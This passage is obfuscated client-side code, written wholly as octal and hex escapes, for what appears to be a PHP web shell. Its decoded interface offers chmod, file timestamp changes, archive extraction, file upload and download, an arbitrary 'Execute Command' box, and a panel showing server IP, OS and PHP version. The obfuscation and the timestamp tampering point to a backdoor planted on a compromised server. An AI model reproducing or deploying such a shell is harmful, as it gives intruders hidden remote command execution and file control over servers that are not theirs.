20\x20\40\40\x20\x20\40\40\40\x20\x20\x20\40\x20\74\160\x20\x73\164\171\154\x65\x3d\42\x63\x6f\x6c\x6f\x72\x3a\x20\x23\x38\x30\70\60\141\60\73\x20\x66\157\156\x74\x2d\x73\151\172\145\72\x20\60\56\70\65\x72\x65\155\x3b\40\x6d\x61\162\147\151\x6e\55\142\157\164\x74\x6f\155\72\40\x31\x30\160\x78\73\x22\x3e\x24\173\160\x61\x74\x68\175\x3c\57\x70\x3e\xd\12\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\74\160\40\x73\164\x79\x6c\145\x3d\42\143\157\x6c\157\x72\72\x20\43\67\x30\x37\60\141\60\73\x20\x6d\x61\x72\x67\x69\156\55\142\x6f\164\x74\x6f\155\x3a\x20\x31\60\x70\170\73\42\x3e\103\x75\162\162\145\156\x74\72\40\x24\x7b\x63\165\x72\x72\x65\x6e\164\x7d\74\x2f\x70\x3e\15\12\x20\40\40\40\x20\40\x20\40\40\x20\40\x20\40\x20\x20\x20\74\151\x6e\160\165\x74\40\164\x79\160\145\x3d\42\x74\x65\170\164\42\x20\151\144\x3d\42\x6e\x65\x77\x50\x65\162\x6d\x73\x22\40\x70\x6c\141\143\145\150\x6f\x6c\x64\145\x72\75\x22\x65\56\147\x2e\x2c\x20\60\67\x35\65\x22\40\x76\x61\154\x75\x65\75\x22\x24\173\143\165\x72\162\x65\156\164\x7d\x22\76\xd\xa\x20\40\40\x20\x20\x20\40\x20\40\40\40\40\40\x20\x20\40\74\142\x75\x74\x74\157\x6e\x20\x63\x6c\141\163\163\x3d\x22\x62\x74\x6e\42\40\x6f\156\x63\154\151\143\153\75\42\x63\x68\141\x6e\147\x65\120\x65\162\x6d\x69\x73\x73\151\157\156\x28\x27\x24\x7b\160\x61\x74\150\175\x27\x29\42\x3e\x41\160\x70\154\171\x3c\x2f\x62\x75\164\164\x6f\x6e\76\xd\12\x20\40\x20\x20\x20\40\40\40\x20\40\40\x20\140\51\x3b\xd\12\x20\x20\40\40\40\x20\x20\x20\x7d\15\12\15\xa\x20\x20\x20\x20\x20\x20\x20\x20\146\165\156\143\x74\151\x6f\x6e\x20\x63\x68\141\156\147\x65\120\145\x72\x6d\x69\163\163\x69\157\156\50\160\141\164\150\51\40\x7b\xd\12\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\143\157\156\x73\x74\40\x70\x65\162\155\x73\x20\75\x20\x64\x6f\143\x75\x6d\x65\x6e\x74\56\147\145\164\105\154\145\x6d\x65\x6e\164\102\171\x49\x64\50\x27\x6e\x65\167\x50\x65\x72\x6d\x73\47\x29\x2e\x76\141\154\x75\145\73\xd\xa\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\40\15\12\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\x61\152\x61\170\50\x27\143\x68\x6d\157\x64\47\54\40\x7b\x20\x70\x61\164\x68\72\x20\x70\141\x74\x68\x2c\40\x70\145\x72\155\x73\x3a\x20\160\145\162\x6d\x73\40\175\x2c\40\x66\165\x6e\143\164\151\157\x6e\x28\162\145\163\x70\157\x6e\x73\145\51\x20\173\xd\12\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\40\x20\40\x73\x68\x6f\x77\x50\157\x70\x75\x70\50\162\x65\x73\x70\157\156\x73\x65\56\155\145\x73\163\141\x67\x65\x2c\x20\x72\145\x73\x70\x6f\156\163\145\56\x73\x75\143\143\145\x73\163\x20\x3f\40\47\163\165\143\143\x65\x73\x73\47\40\72\x20\x27\145\x72\162\157\162\47\x29\73\xd\xa\x20\x20\40\x20\x20\40\40\40\40\x20\x20\x20\40\40\40\40\x69\x66\40\50\x72\x65\163\160\x6f\156\x73\x65\x2e\163\x75\143\143\x65\163\163\51\x20\x7b\xd\12\x20\40\40\x20\x20\x20\x20\40\40\40\40\x20\40\x20\40\40\x20\40\40\40\143\154\x6f\163\145\115\x6f\x64\141\x6c\50\x29\73\xd\12\x20\40\x20\40\40\40\40\x20\40\40\40\x20\x20\x20\40\x20\40\40\40\x20\154\x6f\141\x64\106\151\154\x65\163\x28\51\73\15\xa\x20\40\40\x20\x20\40\x20\40\x20\40\40\40\40\40\40\40\175\xd\12\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\40\175\x29\x3b\xd\12\40\x20\x20\x20\40\40\40\x20\x7d\15\12\xd\xa\x20\x20\x20\40\40\x20\40\40\x66\x75\156\143\x74\151\x6f\156\40\x73\150\157\x77\124\157\x75\x63\x68\x28\160\x61\x74\150\x2c\x20\143\165\x72\x72\145\x6e\164\124\151\155\145\51\x20\173\15\xa\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x6f\x70\145\156\x4d\157\144\x61\x6c\x28\140\15\12\40\40\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\x20\x3c\150\62\x3e\103\x68\141\156\x67\145\x20\x4d\157\144\151\146\x69\145\144\x20\x54\x69\x6d\x65\74\57\x68\62\x3e\15\12\x20\x20\40\40\x20\x20\x20\x20\40\40\40\40\x20\40\40\x20\x3c\x70\40\163\164\171\x6c\x65\x3d\x22\x63\x6f\x6c\157\162\72\40\x23\x38\60\x38\x30\141\x30\73\40\x66\x6f\156\164\55\163\x69\172\145\72\x20\60\x2e\x38\65\x72\145\155\73\40\x6d\x61\162\x67\x69\x6e\x2d\142\x6f\x74\164\157\x6d\72\40\x31\x30\160\x78\x3b\42\76\x24\173\x70\141\x74\x68\175\x3c\57\x70\76\15\xa\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\40\40\40\40\74\x70\x20\163\x74\x79\154\145\75\x22\143\157\x6c\x6f\x72\x3a\x20\x23\67\x30\67\60\x61\x30\x3b\x20\x6d\x61\x72\x67\151\x6e\55\x62\157\164\x74\x6f\155\x3a\x20\61\60\x70\x78\73\x22\x3e\x43\x75\162\162\x65\156\x74\72\x20\x24\173\143\165\x72\x72\x65\x6e\x74\124\x69\x6d\x65\x7d\74\x2f\x70\76\15\xa\x20\40\x20\40\40\40\x20\x20\x20\40\40\x20\x20\40\40\x20\x3c\151\x6e\x70\165\164\x20\164\171\160\145\x3d\42\164\x65\x78\164\42\40\151\144\75\x22\x6e\145\167\x54\x69\x6d\x65\x22\x20\160\154\141\143\x65\x68\x6f\x6c\x64\x65\x72\75\x22\131\131\x59\131\55\x4d\x4d\x2d\x44\x44\x20\x48\110\72\115\x4d\x3a\x53\x53\42\x20\x76\x61\x6c\x75\x65\75\42\x24\173\143\165\162\162\x65\x6e\164\124\x69\155\145\175\42\76\15\12\40\40\40\40\40\x20\x20\x20\x20\40\x20\40\40\x20\40\40\74\142\165\164\x74\x6f\156\x20\143\x6c\141\x73\163\75\42\142\x74\x6e\x22\x20\x6f\156\x63\154\151\x63\x6b\75\42\143\150\x61\x6e\x67\x65\124\151\155\x65\x28\x27\x24\x7b\160\141\164\150\175\x27\51\x22\x3e\x41\x70\x70\154\x79\x3c\57\x62\165\x74\164\157\156\x3e\xd\12\x20\40\40\40\40\40\x20\x20\x20\x20\x20\40\140\x29\73\xd\xa\x20\x20\40\x20\40\40\40\40\x7d\15\xa\xd\xa\40\x20\x20\40\40\40\40\x20\146\x75\156\x63\x74\x69\157\x6e\x20\143\150\141\156\147\x65\x54\151\x6d\x65\50\160\141\164\150\x29\x20\173\xd\12\x20\40\40\40\40\x20\x20\40\x20\40\x20\40\143\x6f\x6e\163\164\x20\x74\151\155\145\123\164\162\x20\75\40\144\157\143\165\x6d\145\156\x74\x2e\x67\x65\x74\x45\154\x65\155\x65\156\x74\102\171\111\x64\50\x27\156\145\167\124\x69\x6d\x65\47\x29\x2e\166\x61\x6c\x75\145\x3b\xd\12\40\x20\x20\x20\x20\40\x20\40\x20\x20\40\40\15\xa\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\141\x6a\141\170\x28\47\x74\157\165\x63\x68\47\54\x20\173\40\x70\141\164\150\72\x20\x70\141\x74\150\54\x20\x74\x69\155\145\123\x74\162\x3a\40\x74\151\x6d\145\x53\164\x72\40\175\x2c\40\146\x75\156\143\164\151\x6f\x6e\x28\x72\145\163\160\157\x6e\x73\145\x29\x20\x7b\xd\12\x20\40\40\40\x20\40\40\40\40\x20\40\40\x20\40\x20\x20\163\150\157\x77\120\x6f\x70\165\x70\x28\162\x65\163\x70\157\156\163\145\56\155\145\x73\163\x61\x67\x65\x2c\x20\x72\145\x73\160\x6f\156\x73\x65\x2e\x73\165\x63\x63\x65\163\163\x20\x3f\40\x27\163\x75\x63\x63\145\x73\163\47\40\x3a\40\47\x65\162\162\x6f\x72\x27\51\73\15\xa\40\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\40\40\40\x20\151\x66\40\x28\x72\145\x73\160\157\156\x73\145\56\x73\165\x63\143\145\x73\163\x29\x20\x7b\15\12\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\40\40\40\143\154\157\x73\x65\x4d\157\144\x61\x6c\50\x29\x3b\xd\xa\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\x20\40\40\40\x20\x20\154\157\x61\144\x46\x69\154\x65\163\50\x29\73\xd\12\x20\40\x20\40\40\40\40\40\x20\x20\40\40\40\x20\x20\40\x7d\xd\xa\40\40\x20\40\40\x20\40\x20\x20\40\40\x20\x7d\x29\x3b\xd\xa\40\40\40\x20\x20\40\40\x20\175\xd\xa\xd\12\40\x20\x20\40\x20\x20\40\40\146\x75\x6e\x63\x74\151\x6f\156\x20\145\x78\164\162\141\143\164\x46\151\x6c\x65\x28\160\141\164\150\51\x20\173\xd\xa\x20\40\40\40\x20\x20\x20\40\x20\x20\40\x20\x61\152\x61\x78\x28\x27\145\170\164\162\141\143\x74\x27\x2c\x20\x7b\40\160\x61\x74\150\72\x20\x70\x61\164\150\40\175\54\40\x66\165\x6e\143\164\151\x6f\156\50\x72\x65\163\x70\157\156\163\145\51\x20\173\15\12\x20\x20\40\40\x20\40\x20\40\40\40\40\40\x20\x20\x20\40\x73\150\x6f\167\x50\x6f\x70\x75\160\x28\162\x65\x73\160\x6f\156\163\145\x2e\x6d\x65\163\163\141\x67\145\54\x20\x72\145\163\x70\x6f\x6e\x73\x65\56\x73\x75\143\143\145\x73\x73\x20\x3f\40\x27\163\x75\143\143\145\163\x73\47\x20\72\40\x27\145\162\x72\157\162\x27\51\73\xd\xa\40\x20\40\40\x20\40\x20\40\40\40\x20\40\x20\40\x20\x20\151\x66\40\50\162\145\163\160\157\x6e\163\x65\x2e\x73\x75\143\x63\145\163\x73\51\40\x7b\xd\xa\x20\x20\40\x20\x20\40\40\40\x20\x20\40\40\x20\x20\x20\40\40\x20\40\40\154\157\141\144\x46\x69\x6c\x65\163\x28\51\73\xd\xa\x20\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\40\x20\40\40\x7d\15\xa\40\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\x7d\51\x3b\15\12\40\x20\x20\x20\40\40\x20\x20\175\15\12\xd\xa\40\40\40\40\40\40\x20\40\x66\165\x6e\x63\164\151\157\x6e\40\144\157\x77\x6e\154\157\x61\x64\106\151\154\145\x28\x70\141\164\x68\x29\x20\173\15\xa\40\40\40\x20\x20\x20\40\40\x20\x20\x20\x20\x77\151\x6e\x64\x6f\x77\56\154\157\143\x61\164\x69\x6f\156\56\150\x72\x65\x66\x20\75\40\x60\x3f\141\143\164\x69\157\156\75\x64\157\167\x6e\154\x6f\141\x64\46\x70\x61\x74\150\x3d\44\x7b\145\156\x63\157\x64\x65\125\x52\111\x43\x6f\x6d\160\x6f\156\x65\x6e\164\x28\x70\141\x74\x68\51\x7d\140\73\15\12\x20\x20\40\x20\x20\40\40\x20\175\xd\12\xd\12\x20\40\x20\40\40\40\40\40\x66\165\x6e\x63\164\x69\x6f\156\x20\163\x68\157\167\x55\160\154\x6f\141\144\50\51\x20\173\15\xa\x20\40\40\40\x20\x20\40\40\x20\x20\40\40\157\x70\145\x6e\115\x6f\144\x61\154\x28\140\xd\xa\40\40\40\x20\40\40\x20\40\x20\40\40\x20\40\x20\x20\40\x3c\150\62\76\125\x70\154\x6f\x61\x64\40\x46\x69\154\x65\163\74\57\x68\x32\76\15\xa\40\x20\40\x20\x20\40\40\x20\40\40\40\40\40\x20\40\x20\x3c\x69\156\160\x75\164\x20\164\x79\x70\x65\x3d\x22\146\151\x6c\x65\42\40\x69\x64\75\x22\x75\x70\154\x6f\141\144\106\151\154\x65\163\42\x20\x6d\165\154\164\x69\160\154\145\x3e\15\12\40\40\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\x20\40\x20\x3c\142\x75\164\164\x6f\156\40\x63\x6c\x61\163\x73\x3d\x22\x62\x74\156\42\x20\157\x6e\143\x6c\151\x63\x6b\75\x22\x75\160\154\x6f\x61\x64\x46\151\154\x65\x73\50\51\42\76\125\160\x6c\x6f\141\x64\74\57\x62\x75\164\x74\x6f\x6e\x3e\15\12\40\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\x60\51\x3b\15\xa\40\40\x20\40\x20\40\40\x20\x7d\xd\xa\15\12\x20\x20\40\40\x20\x20\40\x20\x66\x75\156\x63\164\x69\157\156\40\x75\160\154\x6f\x61\x64\x46\151\x6c\x65\x73\x28\x29\40\x7b\xd\12\40\x20\40\40\40\x20\x20\x20\x20\x20\40\40\x63\x6f\x6e\163\164\x20\146\151\154\145\163\40\75\40\x64\157\143\165\155\145\x6e\164\56\147\x65\x74\105\154\145\x6d\145\156\164\x42\171\111\144\x28\47\x75\160\x6c\157\x61\x64\106\151\154\145\163\47\x29\x2e\146\151\x6c\x65\x73\73\xd\12\x20\40\40\40\x20\x20\40\x20\x20\40\40\x20\x69\x66\40\x28\41\x66\x69\x6c\145\163\x2e\154\x65\156\x67\164\x68\x29\40\x7b\15\xa\40\40\40\x20\40\40\40\40\40\x20\40\40\40\x20\40\x20\163\x68\157\167\x50\157\x70\165\160\50\47\120\154\x65\x61\163\145\40\163\145\154\x65\143\x74\x20\x66\x69\154\145\x73\47\54\x20\x27\145\162\162\157\x72\x27\x29\73\xd\12\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\40\x72\x65\x74\165\162\x6e\x3b\xd\xa\x20\x20\x20\40\40\40\x20\40\x20\x20\40\40\x7d\15\12\40\x20\x20\40\x20\x20\40\x20\40\40\40\x20\xd\xa\x20\x20\x20\40\40\x20\x20\x20\x20\x20\40\x20\x63\x6f\156\163\x74\x20\x66\157\162\155\x44\x61\x74\141\40\x3d\40\156\x65\x77\x20\106\157\162\x6d\104\x61\x74\x61\50\x29\x3b\15\xa\x20\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\x66\157\162\155\104\x61\164\x61\56\141\x70\x70\145\156\144\50\x27\141\x63\x74\151\157\x6e\x27\54\x20\47\x75\160\x6c\x6f\x61\144\47\x29\x3b\15\xa\40\40\40\40\40\40\x20\x20\40\x20\40\x20\x66\x6f\162\155\104\x61\164\141\56\x61\160\160\x65\156\144\50\47\160\141\164\150\x27\x2c\40\143\x75\x72\x72\x65\156\164\120\x61\x74\150\x29\73\xd\xa\x20\x20\40\x20\40\x20\40\40\40\40\40\x20\15\xa\40\x20\x20\40\40\40\x20\40\x20\40\40\x20\x66\157\162\x20\50\154\145\x74\40\151\40\x3d\x20\x30\x3b\x20\x69\x20\x3c\40\146\x69\x6c\145\163\56\x6c\145\x6e\147\x74\150\73\x20\151\53\53\x29\40\173\xd\12\x20\x20\x20\x20\40\40\40\40\40\40\x20\x20\40\40\40\40\x66\157\x72\155\x44\141\164\141\x2e\x61\160\x70\145\x6e\144\x28\x27\x66\151\154\x65\163\133\x5d\47\x2c\x20\x66\151\154\x65\163\133\151\x5d\x29\x3b\xd\12\x20\40\40\40\40\40\x20\40\40\x20\x20\x20\175\xd\12\40\x20\40\40\x20\x20\x20\40\x20\x20\40\x20\15\xa\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x66\x65\x74\143\x68\50\x77\151\156\x64\157\167\x2e\154\x6f\x63\x61\164\x69\157\156\x2e\x68\162\x65\x66\x2c\x20\x7b\15\12\x20\x20\40\40\40\40\x20\x20\x20\x20\40\40\40\40\x20\40\x6d\x65\x74\x68\x6f\x64\72\x20\47\x50\117\x53\124\47\x2c\xd\xa\40\x20\40\40\40\40\40\x20\40\40\x20\40\x20\x20\40\40\142\157\144\x79\72\40\x66\x6f\x72\155\104\141\164\141\15\xa\40\x20\x20\40\40\40\x20\40\40\x20\x20\x20\175\x29\15\xa\x20\40\40\x20\x20\40\x20\x20\40\40\x20\40\56\164\x68\x65\156\x28\162\145\x73\160\x6f\156\x73\x65\x20\75\76\x20\x72\x65\163\x70\x6f\x6e\163\145\56\152\163\157\156\50\x29\x29\xd\12\40\40\40\40\40\40\x20\x20\40\40\40\40\x2e\x74\x68\145\156\50\x66\x75\x6e\143\164\151\x6f\156\50\x72\x65\163\x70\157\x6e\x73\x65\x29\x20\x7b\xd\12\40\40\40\40\x20\40\x20\x20\x20\40\x20\40\40\40\40\x20\x73\x68\157\x77\x50\x6f\160\x75\x70\x28\x72\145\x73\160\157\x6e\163\x65\x2e\x6d\145\163\163\x61\x67\x65\54\x20\x72\145\163\x70\157\x6e\x73\145\x2e\163\x75\x63\143\x65\x73\163\40\77\40\47\163\x75\x63\143\145\163\163\47\x20\x3a\40\47\145\162\x72\157\162\x27\51\x3b\xd\xa\x20\40\x20\x20\40\x20\x20\40\x20\40\40\x20\40\40\x20\x20\x69\x66\40\50\x72\145\x73\160\157\x6e\x73\145\56\x73\165\x63\x63\x65\x73\163\51\40\173\15\xa\x20\40\x20\x20\40\x20\40\40\40\x20\40\x20\40\x20\x20\40\x20\x20\x20\40\x63\x6c\x6f\x73\145\x4d\x6f\144\141\154\x28\x29\73\xd\12\x20\x20\40\40\40\40\40\x20\x20\40\40\x20\x20\x20\40\40\40\40\40\x20\154\157\141\x64\x46\x69\x6c\145\163\50\x29\73\15\xa\40\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\40\175\xd\12\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\175\51\15\xa\x20\40\40\x20\x20\40\40\x20\x20\x20\40\40\x2e\143\141\x74\x63\150\x28\145\162\162\x6f\x72\x20\75\x3e\x20\x7b\xd\xa\40\40\40\x20\40\40\x20\40\40\40\40\x20\40\x20\x20\40\x73\150\x6f\167\120\157\x70\165\x70\x28\47\125\160\x6c\157\x61\x64\40\145\x72\162\157\162\72\x20\x27\x20\53\x20\145\162\x72\157\x72\x2e\155\x65\x73\163\x61\147\x65\54\40\x27\145\162\x72\x6f\x72\47\51\73\15\12\x20\40\40\x20\x20\x20\x20\40\40\40\x20\40\x7d\51\x3b\xd\12\40\x20\x20\x20\40\40\x20\40\x7d\15\xa\xd\xa\x20\40\40\x20\x20\40\x20\x20\x66\165\156\x63\x74\x69\157\x6e\x20\x73\150\157\167\x43\157\x6d\155\x61\156\144\50\x29\40\173\15\12\40\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\x6f\x70\145\x6e\115\x6f\x64\141\154\x28\140\15\12\40\40\x20\40\40\40\40\40\40\40\40\40\40\40\40\40\74\150\x32\x3e\105\x78\145\x63\165\164\145\x20\x43\157\x6d\x6d\141\x6e\x64\x3c\57\x68\62\76\xd\12\40\40\40\x20\40\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\74\160\x20\163\x74\x79\x6c\145\75\x22\x63\x6f\x6c\x6f\x72\72\x20\x23\x38\60\70\60\x61\x30\x3b\40\x66\157\156\x74\55\x73\151\x7a\145\72\x20\60\56\70\65\x72\145\155\73\x20\x6d\x61\x72\x67\151\x6e\x2d\142\157\x74\164\157\x6d\x3a\40\61\x30\160\x78\73\x22\x3e\x43\x75\x72\162\145\156\x74\40\104\151\x72\x65\x63\x74\x6f\162\171\72\40\x24\173\x63\x75\x72\162\x65\x6e\x74\x50\141\x74\x68\x7d\x3c\x2f\160\76\xd\xa\40\x20\x20\x20\40\40\40\40\x20\x20\40\x20\x20\40\40\40\74\151\x6e\x70\x75\x74\40\164\x79\x70\145\x3d\x22\x74\x65\170\x74\x22\x20\151\144\x3d\42\x63\x6d\144\x49\x6e\160\x75\x74\x22\40\x70\154\141\x63\x65\150\x6f\x6c\144\145\x72\x3d\x22\x45\156\164\145\x72\40\x63\x6f\155\155\x61\156\x64\42\76\15\12\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\x20\74\x62\165\164\x74\157\156\x20\143\x6c\141\163\x73\x3d\42\x62\164\156\x22\40\x6f\156\143\154\151\143\x6b\x3d\42\x65\170\x65\143\165\164\x65\103\157\x6d\x6d\x61\156\144\x28\x29\x22\76\x45\x78\145\143\165\164\145\x3c\57\142\x75\164\164\x6f\x6e\76\15\12\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\74\164\x65\170\164\x61\162\145\141\x20\151\x64\75\x22\143\155\x64\x4f\x75\164\x70\x75\164\42\x20\162\x65\141\144\157\x6e\154\171\x20\163\x74\171\x6c\145\x3d\x22\x6d\141\x72\147\x69\156\55\164\157\x70\72\40\61\x30\x70\x78\73\x22\x3e\x3c\x2f\164\145\170\x74\x61\x72\145\141\x3e\15\xa\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\140\x29\73\xd\xa\40\40\x20\40\40\x20\40\x20\x7d\xd\12\15\12\x20\x20\x20\40\40\x20\x20\x20\146\x75\x6e\143\164\x69\x6f\156\x20\x65\170\145\143\x75\x74\x65\103\x6f\x6d\x6d\141\x6e\144\50\x29\x20\173\xd\xa\x20\x20\40\40\x20\x20\x20\x20\x20\40\x20\40\143\x6f\x6e\x73\164\40\x63\x6d\144\x20\75\40\144\157\x63\x75\x6d\145\x6e\164\56\x67\x65\x74\105\154\x65\155\x65\x6e\x74\102\x79\111\x64\x28\x27\x63\x6d\x64\111\x6e\x70\x75\164\47\51\56\166\x61\x6c\165\145\x3b\xd\12\x20\40\40\40\40\x20\40\40\x20\40\40\40\15\12\40\40\40\x20\40\x20\x20\x20\40\x20\x20\40\x69\x66\40\50\41\143\155\144\x29\40\173\xd\xa\40\40\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\40\40\40\x73\x68\157\x77\x50\x6f\160\x75\160\50\47\x50\154\x65\x61\x73\x65\40\145\x6e\x74\x65\x72\40\141\x20\x63\157\x6d\x6d\x61\x6e\144\x27\x2c\x20\x27\145\162\162\x6f\162\x27\x29\73\15\12\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x72\x65\164\x75\x72\156\73\xd\12\x20\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\175\xd\xa\40\x20\40\40\40\x20\x20\x20\x20\40\40\x20\xd\12\40\x20\40\40\40\40\x20\40\40\x20\x20\x20\141\152\x61\170\x28\47\x63\x6f\155\x6d\x61\x6e\x64\x27\x2c\x20\x7b\40\143\155\144\72\40\143\x6d\144\x2c\x20\x63\x77\144\72\x20\143\165\x72\162\145\156\164\120\x61\x74\x68\x20\175\x2c\x20\x66\x75\x6e\143\164\x69\157\156\x28\162\145\x73\160\157\156\x73\x65\x29\40\173\xd\xa\40\40\x20\40\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\x64\157\x63\x75\x6d\145\156\x74\x2e\147\x65\x74\105\154\x65\155\145\x6e\164\102\171\111\144\50\x27\143\155\144\x4f\x75\x74\x70\165\164\x27\51\x2e\x76\141\x6c\x75\x65\x20\x3d\40\x72\145\x73\x70\157\156\163\x65\x2e\157\165\x74\x70\165\164\40\x7c\174\40\162\x65\163\x70\x6f\x6e\163\x65\56\155\x65\163\163\141\147\x65\73\15\12\40\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\175\51\73\xd\xa\x20\x20\40\x20\x20\x20\x20\x20\175\xd\xa\xd\12\40\x20\x20\x20\x20\40\x20\40\x66\165\x6e\x63\x74\151\157\x6e\x20\154\157\141\144\123\145\162\166\x65\x72\x49\x6e\146\157\x28\51\40\173\15\12\40\x20\x20\x20\40\40\x20\40\40\40\40\x20\x61\x6a\x61\x78\50\47\163\145\162\x76\x65\x72\137\x69\x6e\x66\x6f\x27\54\40\173\175\x2c\x20\x66\165\156\143\x74\151\157\x6e\50\x72\145\x73\x70\x6f\156\x73\x65\x29\40\x7b\15\12\40\40\40\x20\40\40\x20\x20\40\x20\40\40\x20\x20\x20\x20\x69\146\40\x28\162\x65\163\x70\x6f\156\163\145\56\x73\x75\x63\143\x65\163\163\51\40\x7b\15\12\40\40\x20\40\40\40\x20\40\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\143\157\156\x73\164\x20\x69\156\146\x6f\40\x3d\40\x72\x65\x73\x70\x6f\x6e\x73\145\x2e\x69\x6e\146\x6f\73\xd\12\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\40\x20\x20\x20\x64\157\x63\165\x6d\145\156\x74\x2e\147\x65\164\x45\x6c\145\x6d\145\x6e\x74\x42\171\x49\x64\x28\x27\x73\145\x72\166\145\162\111\x6e\146\x6f\x47\x72\151\x64\x27\51\x2e\151\x6e\156\145\162\110\124\115\x4c\x20\75\x20\x60\xd\xa\x20\40\x20\40\40\x20\40\40\40\x20\40\40\x20\40\40\40\40\40\40\x20\40\40\40\x20\x3c\144\151\166\x20\x63\154\141\163\163\x3d\x22\151\156\x66\x6f\x2d\151\x74\x65\x6d\42\x3e\74\x73\164\x72\157\156\x67\x3e\x53\145\162\166\145\162\74\x2f\x73\x74\162\157\156\147\x3e\74\x73\160\x61\x6e\76\x24\x7b\x69\x6e\146\x6f\x2e\163\145\162\166\145\162\x5f\156\141\155\145\175\x3c\x2f\x73\160\x61\x6e\76\x3c\x2f\144\151\x76\76\xd\xa\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\x20\40\x20\40\40\74\144\x69\166\x20\x63\154\141\x73\x73\x3d\42\151\156\x66\157\x2d\151\x74\x65\x6d\x22\x3e\x3c\x73\x74\x72\157\x6e\x67\x3e\x53\157\146\164\167\x61\162\145\74\57\163\164\162\157\156\147\76\74\163\x70\141\x6e\76\44\173\x69\x6e\146\157\x2e\163\145\162\x76\145\x72\137\x73\x6f\146\164\x77\x61\162\x65\175\74\x2f\x73\x70\141\156\x3e\74\x2f\x64\x69\166\76\15\12\40\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\40\40\40\x20\x20\40\x20\40\40\40\40\x20\74\x64\151\x76\40\143\154\x61\x73\x73\x3d\42\x69\156\x66\x6f\x2d\x69\x74\x65\x6d\x22\76\x3c\163\164\x72\157\x6e\147\76\x4f\123\74\x2f\x73\164\162\x6f\156\147\x3e\x3c\x73\x70\141\156\76\44\x7b\151\156\146\157\56\157\x73\x7d\74\x2f\x73\x70\141\x6e\x3e\74\x2f\144\151\166\76\xd\12\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x20\40\x20\40\x20\74\x64\151\x76\x20\x63\x6c\x61\163\163\75\x22\151\x6e\x66\157\55\x69\x74\x65\x6d\42\x3e\74\163\x74\x72\157\x6e\x67\x3e\120\x48\120\x3c\57\163\x74\162\157\x6e\147\x3e\x3c\x73\160\141\x6e\x3e\x24\173\x69\x6e\x66\x6f\56\x70\150\x70\137\x76\x65\x72\x73\151\x6f\156\x7d\74\57\x73\x70\141\156\76\x3c\x2f\144\151\x76\76\xd\xa\x20\x20\x20\40\x20\40\x20\40\40\40\x20\40\x20\x20\40\x20\x20\40\x20\x20\x20\x20\40\40\74\144\151\x76\40\143\154\x61\163\163\x3d\42\151\x6e\x66\157\x2d\x69\164\145\x6d\x22\x3e\74\163\164\x72\157\x6e\147\76\123\145\x72\166\x65\x72\40\x49\120\x3c\x2f\163\164\x72\157\156\x67\76\x3c\163\x70\141\x6e\x3e\x24\173\x69\x6e\146\157\x2e\163\x65\x72\x76\x65\162\x5f\x69\160\x7d\74\57\x73\x70\141\x6e\x3e\74\57\144\x69\166\x3e\xd\xa\x20\40\40\x20\40\40\x20\40\40\40\x20\40\x20\40\40\x20\x20\40\40\x20\40\40\40\x20\x3c\x64\151\x76\40\143\154\141\x73\x73\x3d\42\x69\156\x66\x6f\x2d\151\x74\x65\155\x22\x3e\x3c\163\x74\162\x6f\x6e\x67\x3e\131\x6f\165\162\40\x49\120\x3c\57\163\x74\162\x6f\x6e\x67\76\x3c\x73\160\x61\156\x3e\44\x7b\x69\156\x66\x6f\56\x63\154\x69\x65\x6e\164\137\151\160\175\74\x2f\x73\160\141\156\x3e\74\57\x64\151\166\76\15\xa\x20\40\40\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\40\x20\40\40\x20\x60\x3b\15\xa\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\175\15\xa\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\x20\175\51\73\xd\xa\x20\40\40\40\x20\40\40\40\175\xd\xa\xd\xa\40\40\x20\40\40\x20\x20\x20\57\57\x20\114\157\x61\x64\40\x6f\x6e\x20\160\141\147\x65\x20\154\157\141\x64\15\xa\40\40\40\40\x20\40\x20\40\x77\151\156\144\x6f\x77\x2e\141\144\144\x45\166\145\x6e\164\114\151\x73\x74\x65\x6e\x65\162\x28\x27\x44\x4f\x4d\x43\157\x6e\164\145\156\164\x4c\x6f\141\x64\x65\144\x27\x2c\40\146\x75\x6e\x63\x74\x69\x6f\x6e\x28\x29\40\x7b\xd\xa\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\154\x6f\141\x64\x53\145\162\166\145\x72\111\